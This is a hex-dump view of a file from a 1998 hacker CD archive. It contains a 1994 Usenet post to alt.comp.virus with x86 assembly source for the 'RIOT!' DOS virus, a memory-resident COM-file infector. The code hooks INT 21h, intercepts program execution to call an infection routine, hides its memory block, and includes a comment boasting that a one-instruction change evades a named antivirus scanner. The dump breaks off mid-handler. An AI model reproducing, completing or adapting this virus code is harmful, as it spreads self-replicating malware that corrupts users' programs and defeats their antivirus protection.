/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / riot.asm

< prev

next >

MacOS 8.1

Win98

DOS

view JSON data

view as text

+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 53 61 | 74 20 4e 6f 76 20 31 32 |tnews Sa|t Nov 12|
|00000030| 20 31 37 3a 31 31 3a 31 | 35 20 31 39 39 34 0a 58 | 17:11:1|5 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 32 |alt.comp|.virus:2|
|00000060| 30 30 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |00.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 52 65 3a 52 69 | 6f 74 0a 44 61 74 65 3a |t: Re:Ri|ot.Date:|
|000000e0| 20 31 32 20 4e 6f 76 20 | 31 39 39 34 20 30 33 3a | 12 Nov |1994 03:|
|000000f0| 33 37 3a 33 30 20 47 4d | 54 0a 4f 72 67 61 6e 69 |37:30 GM|T.Organi|
|00000100| 7a 61 74 69 6f 6e 3a 20 | 4e 65 74 63 6f 6d 0a 4c |zation: |Netcom.L|
|00000110| 69 6e 65 73 3a 20 31 37 | 31 0a 44 69 73 74 72 69 |ines: 17|1.Distri|
|00000120| 62 75 74 69 6f 6e 3a 20 | 77 6f 72 6c 64 0a 4d 65 |bution: |world.Me|
|00000130| 73 73 61 67 65 2d 49 44 | 3a 20 3c 33 61 31 64 39 |ssage-ID|: <3a1d9|
|00000140| 71 24 6d 61 36 40 69 78 | 6e 65 77 73 31 2e 69 78 |q$ma6@ix|news1.ix|
|00000150| 2e 6e 65 74 63 6f 6d 2e | 63 6f 6d 3e 0a 52 65 66 |.netcom.|com>.Ref|
|00000160| 65 72 65 6e 63 65 73 3a | 20 3c 33 61 30 73 37 62 |erences:| <3a0s7b|
|00000170| 24 72 36 69 24 31 40 6d | 68 61 64 66 2e 70 72 6f |$r6i$1@m|hadf.pro|
|00000180| 64 75 63 74 69 6f 6e 2e | 63 6f 6d 70 75 73 65 72 |duction.|compuser|
|00000190| 76 65 2e 63 6f 6d 3e 20 | 3c 33 61 31 61 6a 37 24 |ve.com> |<3a1aj7$|
|000001a0| 6c 35 65 40 69 78 6e 65 | 77 73 31 2e 69 78 2e 6e |l5e@ixne|ws1.ix.n|
|000001b0| 65 74 63 6f 6d 2e 63 6f | 6d 3e 20 3c 33 61 31 63 |etcom.co|m> <3a1c|
|000001c0| 72 69 24 6d 33 31 40 69 | 78 6e 65 77 73 31 2e 69 |ri$m31@i|xnews1.i|
|000001d0| 78 2e 6e 65 74 63 6f 6d | 2e 63 6f 6d 3e 0a 4e 4e |x.netcom|.com>.NN|
|000001e0| 54 50 2d 50 6f 73 74 69 | 6e 67 2d 48 6f 73 74 3a |TP-Posti|ng-Host:|
|000001f0| 20 69 78 2d 69 72 34 2d | 32 31 2e 69 78 2e 6e 65 | ix-ir4-|21.ix.ne|
|00000200| 74 63 6f 6d 2e 63 6f 6d | 0a 0a 3b 20 20 52 49 4f |tcom.com|..;  RIO|
|00000210| 54 21 20 2d 20 52 65 76 | 6f 6c 75 74 69 6f 6e 20 |T! - Rev|olution |
|00000220| 49 6e 20 4f 75 72 20 54 | 69 6d 65 0a 0a 6d 6f 64 |In Our T|ime..mod|
|00000230| 65 6c 20 74 69 6e 79 0a | 63 6f 64 65 0a 6f 72 67 |el tiny.|code.org|
|00000240| 20 31 30 30 68 0a 73 74 | 61 72 74 3a 0a 3b 09 09 | 100h.st|art:.;..|
|00000250| 70 75 73 68 09 61 78 09 | 09 09 3b 20 4f 72 69 67 |push.ax.|..; Orig|
|00000260| 69 6e 61 6c 20 70 75 73 | 68 20 22 61 78 22 2c 0a |inal pus|h "ax",.|
|00000270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000280| 50 55 53 48 20 20 20 20 | 44 58 09 09 09 3b 20 42 |PUSH    |DX...; B|
|00000290| 75 74 20 70 75 73 68 20 | 64 78 20 69 6e 73 74 65 |ut push |dx inste|
|000002a0| 61 64 2c 0a 09 09 09 09 | 09 09 3b 20 61 6e 64 20 |ad,.....|..; and |
|000002b0| 53 26 53 20 46 69 6e 64 | 56 69 72 75 20 63 61 6e |S&S Find|Viru can|
|000002c0| 27 74 0a 09 09 09 09 09 | 09 3b 20 66 69 6e 64 20 |'t......|.; find |
|000002d0| 69 74 20 61 73 20 4e 49 | 4e 41 2d 32 35 36 20 3a |it as NI|NA-256 :|
|000002e0| 29 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |)..     |        |
|000002f0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 39 37 |   mov  |   ax,97|
|00000300| 35 33 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |53h     |        |
|00000310| 20 20 20 3b 20 69 6e 73 | 74 61 6c 6c 61 74 69 6f |   ; ins|tallatio|
|00000320| 6e 20 63 68 65 63 6b 0a | 20 20 20 20 20 20 20 20 |n check.|        |
|00000330| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 |        |int     |
|00000340| 32 31 68 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |21h.    |        |
|00000350| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 64 |    mov |    ax,d|
|00000360| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s.      |        |
|00000370| 20 20 64 65 63 20 20 20 | 20 20 61 78 0a 20 20 20 |  dec   |  ax.   |
|00000380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000390| 20 20 20 20 20 64 73 2c | 61 78 20 20 20 20 20 20 |     ds,|ax      |
|000003a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 64 |        |     ; d|
|000003b0| 73 2d 3e 70 72 6f 67 72 | 61 6d 20 4d 43 42 0a 20 |s->progr|am MCB. |
|000003c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|000003d0| 6f 76 20 20 20 20 20 61 | 78 2c 64 73 3a 5b 33 5d |ov     a|x,ds:[3]|
|000003e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|000003f0| 20 67 65 74 20 73 69 7a | 65 20 77 6f 72 64 0a 20 | get siz|e word. |
|00000400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00000410| 75 73 68 20 20 20 20 62 | 78 0a 20 20 20 20 20 20 |ush    b|x.      |
|00000420| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00000430| 20 20 65 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 |  es.   |        |
|00000440| 20 20 20 20 20 73 75 62 | 20 20 20 20 20 61 78 2c |     sub|     ax,|
|00000450| 34 30 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |40h     |        |
|00000460| 20 20 20 20 20 3b 20 72 | 65 73 65 72 76 65 20 34 |     ; r|eserve 4|
|00000470| 30 68 20 70 61 72 61 67 | 72 61 70 68 73 0a 20 20 |0h parag|raphs.  |
|00000480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00000490| 76 20 20 20 20 20 62 78 | 2c 61 78 0a 20 20 20 20 |v     bx|,ax.    |
|000004a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|000004b0| 20 20 20 20 61 68 2c 34 | 41 68 20 20 20 20 20 20 |    ah,4|Ah      |
|000004c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 53 68 |        |    ; Sh|
|000004d0| 72 69 6e 6b 20 6d 65 6d | 6f 72 79 20 0a 61 6c 6c |rink mem|ory .all|
|000004e0| 6f 63 61 74 69 6f 6e 0a | 20 20 20 20 20 20 20 20 |ocation.|        |
|000004f0| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 |        |int     |
|00000500| 32 31 68 0a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |21h..   |        |
|00000510| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c |     mov|     ah,|
|00000520| 34 38 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |48h     |        |
|00000530| 20 20 20 20 20 3b 20 41 | 6c 6c 6f 63 61 74 65 20 |     ; A|llocate |
|00000540| 33 46 68 20 0a 70 61 72 | 61 67 72 61 70 68 73 0a |3Fh .par|agraphs.|
|00000550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000560| 6d 6f 76 20 20 20 20 20 | 62 78 2c 33 46 68 20 20 |mov     |bx,3Fh  |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000580| 3b 20 66 6f 72 20 74 68 | 65 20 76 69 72 75 73 0a |; for th|e virus.|
|00000590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000005a0| 69 6e 74 20 20 20 20 20 | 32 31 68 0a 0a 20 20 20 |int     |21h..   |
|000005b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|000005c0| 20 20 20 20 20 65 73 2c | 61 78 20 20 20 20 20 20 |     es,|ax      |
|000005d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 63 |        |     ; c|
|000005e0| 6f 70 79 20 76 69 72 75 | 73 20 74 6f 20 68 69 67 |opy viru|s to hig|
|000005f0| 68 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h.      |        |
|00000600| 20 20 78 6f 72 20 20 20 | 20 20 64 69 2c 64 69 20 |  xor   |  di,di |
|00000610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000620| 20 20 3b 20 6d 65 6d 6f | 72 79 0a 20 20 20 20 20 |  ; memo|ry.     |
|00000630| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00000640| 20 20 20 73 69 2c 6f 66 | 66 73 65 74 20 73 74 61 |   si,of|fset sta|
|00000650| 72 74 20 2b 20 31 30 68 | 20 20 20 3b 20 73 74 61 |rt + 10h|   ; sta|
|00000660| 72 74 20 61 74 20 4d 43 | 42 3a 31 31 30 68 0a 20 |rt at MC|B:110h. |
|00000670| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00000680| 6f 76 20 20 20 20 20 63 | 78 2c 31 30 30 68 20 20 |ov     c|x,100h  |
|00000690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|000006a0| 20 28 73 61 6d 65 20 61 | 73 20 50 53 50 3a 31 30 | (same a|s PSP:10|
|000006b0| 30 68 29 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h).    |        |
|000006c0| 20 20 20 20 72 65 70 20 | 20 20 20 20 6d 6f 76 73 |    rep |    movs|
|000006d0| 62 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |b.      |        |
|000006e0| 20 20 73 75 62 20 20 20 | 20 20 61 78 2c 31 30 68 |  sub   |  ax,10h|
|000006f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000700| 20 20 3b 20 61 64 6a 75 | 73 74 20 6f 66 66 73 65 |  ; adju|st offse|
|00000710| 74 20 61 73 20 69 66 20 | 69 74 0a 20 20 20 20 20 |t as if |it.     |
|00000720| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|00000730| 20 20 20 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |   ax   |        |
|00000740| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 6f 72 69 |        |   ; ori|
|00000750| 67 69 6e 61 74 65 64 20 | 61 74 20 31 30 30 68 0a |ginated |at 100h.|
|00000760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000770| 6d 6f 76 20 20 20 20 20 | 61 78 2c 6f 66 66 73 65 |mov     |ax,offse|
|00000780| 74 20 68 69 67 68 65 6e | 74 72 79 0a 20 20 20 20 |t highen|try.    |
|00000790| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|000007a0| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 20 |    ax. |        |
|000007b0| 20 20 20 20 20 20 20 72 | 65 74 66 0a 0a 68 69 67 |       r|etf..hig|
|000007c0| 68 65 6e 74 72 79 3a 0a | 20 20 20 20 20 20 20 20 |hentry:.|        |
|000007d0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000007e0| 62 79 74 65 20 70 74 72 | 20 63 73 3a 5b 30 46 32 |byte ptr| cs:[0F2|
|000007f0| 68 5d 2c 30 41 41 68 20 | 3b 20 63 68 61 6e 67 65 |h],0AAh |; change|
|00000800| 20 4d 43 42 27 73 20 6f | 77 6e 65 72 20 73 6f 20 | MCB's o|wner so |
|00000810| 0a 74 68 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 |.the.   |        |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000840| 20 20 20 20 20 3b 20 6d | 65 6d 6f 72 79 20 69 73 |     ; m|emory is|
|00000850| 6e 27 74 20 66 72 65 65 | 64 20 0a 77 68 65 6e 20 |n't free|d .when |
|00000860| 74 68 65 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |the.    |        |
|00000870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000880| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000890| 20 20 20 20 3b 20 70 72 | 6f 67 72 61 6d 20 74 65 |    ; pr|ogram te|
|000008a0| 72 6d 69 6e 61 74 65 73 | 0a 20 20 20 20 20 20 20 |rminates|.       |
|000008b0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000008c0| 20 61 78 2c 33 35 32 31 | 68 20 20 20 20 20 20 20 | ax,3521|h       |
|000008d0| 20 20 20 20 20 20 20 20 | 20 3b 20 67 65 74 20 69 |        | ; get i|
|000008e0| 6e 74 20 32 31 68 20 76 | 65 63 74 6f 72 0a 20 20 |nt 21h v|ector.  |
|000008f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e |        |      in|
|00000900| 74 20 20 20 20 20 32 31 | 68 0a 0a 20 20 20 20 20 |t     21|h..     |
|00000910| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00000920| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 6f |   word |ptr cs:o|
|00000930| 6c 64 69 6e 74 32 31 2c | 62 78 20 3b 20 73 61 76 |ldint21,|bx ; sav|
|00000940| 65 20 69 74 0a 20 20 20 | 20 20 20 20 20 20 20 20 |e it.   |        |
|00000950| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 |     mov|     wor|
|00000960| 64 20 70 74 72 20 63 73 | 3a 6f 6c 64 69 6e 74 32 |d ptr cs|:oldint2|
|00000970| 31 2b 32 2c 65 73 0a 20 | 20 20 20 20 20 20 20 20 |1+2,es. |        |
|00000980| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 65 |       p|ush    e|
|00000990| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s.      |        |
|000009a0| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0a 20 20 20 |  pop   |  ds.   |
|000009b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|000009c0| 20 20 20 20 20 64 78 2c | 62 78 0a 20 20 20 20 20 |     dx,|bx.     |
|000009d0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000009e0| 20 20 20 61 78 2c 32 35 | 39 31 68 20 20 20 20 20 |   ax,25|91h     |
|000009f0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 72 65 64 |        |   ; red|
|00000a00| 69 72 65 63 74 20 69 6e | 74 20 39 31 68 20 74 6f |irect in|t 91h to|
|00000a10| 20 0a 69 6e 74 20 32 31 | 68 0a 20 20 20 20 20 20 | .int 21|h.      |
|00000a20| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |        |  int   |
|00000a30| 20 20 32 31 68 0a 0a 20 | 20 20 20 20 20 20 20 20 |  21h.. |        |
|00000a40| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|00000a50| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s.      |        |
|00000a60| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0a 20 20 20 |  pop   |  ds.   |
|00000a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000a80| 20 20 20 20 20 64 78 2c | 6f 66 66 73 65 74 20 69 |     dx,|offset i|
|00000a90| 6e 74 32 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 |nt21.   |        |
|00000aa0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 6c 2c |     mov|     al,|
|00000ab0| 32 31 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |21h     |        |
|00000ac0| 20 20 20 20 20 3b 20 73 | 65 74 20 69 6e 74 20 32 |     ; s|et int 2|
|00000ad0| 31 68 20 74 6f 20 76 69 | 72 75 73 20 0a 76 65 63 |1h to vi|rus .vec|
|00000ae0| 74 6f 72 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |tor.    |        |
|00000af0| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0a |    int |    21h.|
|00000b00| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000b10| 20 70 6f 70 20 20 20 20 | 20 64 73 20 20 20 20 20 | pop    | ds     |
|00000b20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000b30| 20 3b 20 64 73 2d 3e 6f | 72 69 67 69 6e 61 6c 20 | ; ds->o|riginal |
|00000b40| 70 72 6f 67 72 61 6d 20 | 0a 50 53 50 0a 20 20 20 |program |.PSP.   |
|00000b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 |        |     pop|
|00000b60| 20 20 20 20 20 62 78 0a | 20 20 20 20 20 20 20 20 |     bx.|        |
|00000b70| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00000b80| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds.     |        |
|00000b90| 20 20 20 70 6f 70 20 20 | 20 20 20 65 73 0a 0a 45 |   pop  |   es..E|
|00000ba0| 4e 44 46 49 4c 45 20 20 | 20 20 20 20 20 20 20 64 |NDFILE  |       d|
|00000bb0| 77 20 20 20 20 20 20 31 | 30 30 68 09 09 09 3b 20 |w      1|00h...; |
|00000bc0| 53 69 7a 65 20 6f 66 20 | 69 6e 66 65 63 74 65 64 |Size of |infected|
|00000bd0| 20 43 4f 4d 20 0a 66 69 | 6c 65 0a 0a 72 65 74 75 | COM .fi|le..retu|
|00000be0| 72 6e 5f 43 4f 4d 3a 0a | 20 20 20 20 20 20 20 20 |rn_COM:.|        |
|00000bf0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00000c00| 64 69 2c 31 30 30 68 20 | 20 20 20 20 20 20 20 20 |di,100h |        |
|00000c10| 20 20 20 20 20 20 20 20 | 3b 20 72 65 73 74 6f 72 |        |; restor|
|00000c20| 65 20 6f 72 69 67 69 6e | 61 6c 0a 20 20 20 20 20 |e origin|al.     |
|00000c30| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00000c40| 20 20 20 73 69 2c 65 6e | 64 66 69 6c 65 20 20 20 |   si,en|dfile   |
|00000c50| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 66 69 6c |        |   ; fil|
|00000c60| 65 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e.      |        |
|00000c70| 20 20 61 64 64 20 20 20 | 20 20 73 69 2c 64 69 20 |  add   |  si,di |
|00000c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000c90| 20 20 3b 20 61 64 6a 75 | 73 74 20 66 6f 72 20 43 |  ; adju|st for C|
|00000ca0| 4f 4d 20 0a 73 74 61 72 | 74 69 6e 67 0a 20 20 20 |OM .star|ting.   |
|00000cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000cc0| 20 20 20 20 20 63 78 2c | 31 30 30 68 20 20 20 20 |     cx,|100h    |
|00000cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 6f |        |     ; o|
|00000ce0| 66 66 73 65 74 0a 20 20 | 20 20 20 20 20 20 20 20 |ffset.  |        |
|00000cf0| 20 20 20 20 20 20 72 65 | 70 20 20 20 20 20 6d 6f |      re|p     mo|
|00000d00| 76 73 62 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |vsb.    |        |
|00000d10| 20 20 20 20 70 6f 70 20 | 20 20 20 20 61 78 0a 20 |    pop |    ax. |
|00000d20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00000d30| 75 73 68 20 20 20 20 64 | 73 20 20 20 20 20 20 20 |ush    d|s       |
|00000d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00000d50| 20 6a 6d 70 20 62 61 63 | 6b 20 74 6f 20 6f 72 69 | jmp bac|k to ori|
|00000d60| 67 69 6e 61 6c 0a 20 20 | 20 20 20 20 20 20 20 20 |ginal.  |        |
|00000d70| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 70 |      mo|v     bp|
|00000d80| 2c 31 30 30 68 20 20 20 | 20 20 20 20 20 20 20 20 |,100h   |        |
|00000d90| 20 20 20 20 20 20 3b 20 | 66 69 6c 65 20 28 50 53 |      ; |file (PS|
|00000da0| 50 3a 31 30 30 29 0a 20 | 20 20 20 20 20 20 20 20 |P:100). |        |
|00000db0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 |       p|ush    b|
|00000dc0| 70 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p.      |        |
|00000dd0| 20 20 72 65 74 66 0a 65 | 78 69 74 5f 69 6e 73 74 |  retf.e|xit_inst|
|00000de0| 61 6c 6c 3a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |all:.   |        |
|00000df0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 61 78 20 |     pop|     ax |
|00000e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000e10| 20 20 20 20 20 3b 20 70 | 6f 70 20 43 53 3a 49 50 |     ; p|op CS:IP|
|00000e20| 20 61 6e 64 20 66 6c 61 | 67 73 20 69 6e 0a 20 20 | and fla|gs in.  |
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00000e40| 70 20 20 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |p     ax|        |
|00000e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|00000e60| 6f 72 64 65 72 20 74 6f | 20 62 61 6c 61 6e 63 65 |order to| balance|
|00000e70| 20 74 68 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 | the.   |        |
|00000e80| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 61 78 20 |     pop|     ax |
|00000e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000ea0| 20 20 20 20 20 3b 20 73 | 74 61 63 6b 20 61 6e 64 |     ; s|tack and|
|00000eb0| 20 74 68 65 6e 20 65 78 | 69 74 20 0a 74 68 65 0a | then ex|it .the.|
|00000ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000ed0| 6a 6d 70 20 20 20 20 20 | 73 68 6f 72 74 20 72 65 |jmp     |short re|
|00000ee0| 74 75 72 6e 5f 43 4f 4d | 20 20 20 20 20 20 20 20 |turn_COM|        |
|00000ef0| 3b 20 69 6e 66 65 63 74 | 65 64 20 43 4f 4d 20 66 |; infect|ed COM f|
|00000f00| 69 6c 65 0a 69 6e 74 32 | 31 3a 0a 20 20 20 20 20 |ile.int2|1:.     |
|00000f10| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00000f20| 20 20 20 61 78 2c 39 37 | 35 33 68 20 20 20 20 20 |   ax,97|53h     |
|00000f30| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 69 6e 73 |        |   ; ins|
|00000f40| 74 61 6c 6c 61 74 69 6f | 6e 20 63 68 65 63 6b 3f |tallatio|n check?|
|00000f50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000f60| 20 6a 65 20 20 20 20 20 | 20 65 78 69 74 5f 69 6e | je     | exit_in|
|00000f70| 73 74 61 6c 6c 0a 20 20 | 20 20 20 20 20 20 20 20 |stall.  |        |
|00000f80| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 78 |      cm|p     ax|
|00000f90| 2c 34 42 30 30 68 20 20 | 20 20 20 20 20 20 20 20 |,4B00h  |        |
|00000fa0| 20 20 20 20 20 20 3b 20 | 65 78 65 63 75 74 65 3f |      ; |execute?|
|00000fb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000fc0| 20 6a 6e 65 20 20 20 20 | 20 65 78 69 74 69 6e 74 | jne    | exitint|
|00000fd0| 32 31 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |21      |        |
|00000fe0| 20 3b 20 6e 6f 70 65 2c | 20 71 75 69 74 0a 20 20 | ; nope,| quit.  |
|00000ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|00001000| 73 68 20 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |sh    ax|        |
|00001010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|00001020| 73 61 76 65 20 72 65 67 | 69 73 74 65 72 73 0a 20 |save reg|isters. |
|00001030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00001040| 75 73 68 20 20 20 20 62 | 78 0a 20 20 20 20 20 20 |ush    b|x.      |
|00001050| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00001060| 20 20 63 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |  cx.   |        |
|00001070| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 64 78 0a |     pus|h    dx.|
|00001080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001090| 70 75 73 68 20 20 20 20 | 64 73 0a 20 20 20 20 20 |push    |ds.     |
|000010a0| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |        |   call |
|000010b0| 20 20 20 69 6e 66 65 63 | 74 0a 20 20 20 20 20 20 |   infec|t.      |
|000010c0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |        |  pop   |
|000010d0| 20 20 64 73 20 20 20 20 | 20 20 20 20 20 20 20 20 |  ds    |        |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 72 65 73 74 |        |  ; rest|
|000010f0| 6f 72 65 20 72 65 67 69 | 73 74 65 72 73 0a 20 20 |ore regi|sters.  |
|00001100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00001110| 70 20 20 20 20 20 64 78 | 0a 20 20 20 20 20 20 20 |p     dx|.       |
|00001120| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |        | pop    |
|00001130| 20 63 78 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | cx.    |        |
|00001140| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 78 0a 20 |    pop |    bx. |
|00001150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00001160| 6f 70 20 20 20 20 20 61 | 78 0a 65 78 69 74 69 6e |op     a|x.exitin|
